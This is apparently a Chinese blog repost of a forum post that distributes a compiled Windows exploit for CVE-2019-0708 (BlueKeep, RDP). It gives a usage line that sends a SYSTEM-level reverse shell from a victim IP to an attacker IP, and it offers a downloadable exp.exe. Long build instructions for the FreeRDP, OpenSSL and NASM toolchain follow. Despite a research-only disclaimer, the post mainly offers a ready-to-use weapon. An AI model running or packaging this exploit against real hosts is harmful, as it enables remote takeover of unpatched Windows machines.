服务器server2019上传二进制文件,[原创]国庆福利CVE-2019-0708-EXP之Windows版复现

CVE-2019-0708-EXP-Windows-Version

申明

作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关

目录

介绍

CVE-2019-0708-EXP-Windows版单文件exe运行,无需linux,python,ruby等,运行后直接在当前控制台反弹System权限Shell

编译采用全静态库模式内联所有dll,集成netcat和openssl,支持进度条显示,shell回显操作

复现环境被攻击者操作系统Victim:Windows 7 sp1 x64位操作系统

攻击者操作系统Attacker:Windows 10 x64位操作系统

编译环境Visual Studio 2013

使用说明进入CVE-2019-0708-EXP-Release目录

运行wfreerdp.exe /v:Victim_IP /l:Attacker_IP,如wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17

安装教程复制FreeRDP-master项目至E:\git\KernelResearch\FreeRDP-master\

安装Openssl编译环境,或者直接解压openssl.7z至C:\openssl\使用已编译好的Openssl环境

安装Nasm编译环境

以管理员身份安装cmake-3.15.3-win64-x64.msi

添加C:\Program Files\CMake\bin至path环境变量

重启计算机

运行"C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt

编译项目,如果发现仍然缺少文件,可以从FreeRDP-master-restore.7z还原

Openssl编译环境安装教程解压openssl-1.0.2s.tar.gz至C:\openssl\

安装ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi

添加C:\Perl64\bin至path环境变量

打开VS2013 x64 本机工具命令提示,在开始菜单中可以找到

运行 perl Configure VC-WIN64A

运行 cd /d C:\openssl\

运行 ms\do_win64a

接下来开始编译,可以采用以下几种模式,exp中采用的是静态库模式:

编译OpenSSL动态库:nmake -f ms\ntdll.mak

编译OpenSSL静态库:nmake -f ms\nt.mak

测试OpenSSL动态库:nmake -f ms\ntdll.mak test

测试OpenSSL静态库:nmake -f ms\nt.mak test

安装OpenSSL动态库:nmake -f ms\ntdll.mak install

安装OpenSSL静态库:nmake -f ms\nt.mak install

清除上次OpenSSL动态库的编译,以便重新编译:nmake -f ms\ntdll.mak clean

清除上次OpenSSL静态库的编译,以便重新编译:nmake -f ms\nt.mak clean

完成后自己去out32下找libeay32.lib和ssleay32.lib文件复制到C:\openssl\lib\

Nasm编译环境安装教程以管理员身份安装nasm-2.14.02-installer-x64.exe

添加C:\Program Files\NASM至path环境变量

解压nasmBuildCustomizations.rar其中3个文件至C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\

选中client->common->freerdp-client工程目录右击->"生成依赖项"->"生成自定义",然后勾选nasm这一项(注意不是masm)

如果在freerdp-client工程中选择任意asm文件,右键菜单出现编译选项,即表示Nasm编译环境安装成功

运行效果

6e5a288a61d6c08bef36edc9de75f1c2.png

项目托管

参与贡献

作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com

最后于 2020-1-21 10:18

被王cb编辑

,原因: 编译成单文件全功能版exe,采用全静态库模式内联所有dll,集成netcat和openssl,支持进度条显示,shell回显操作

上传的附件:

exp.exe

(7.62MB,80次下载)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值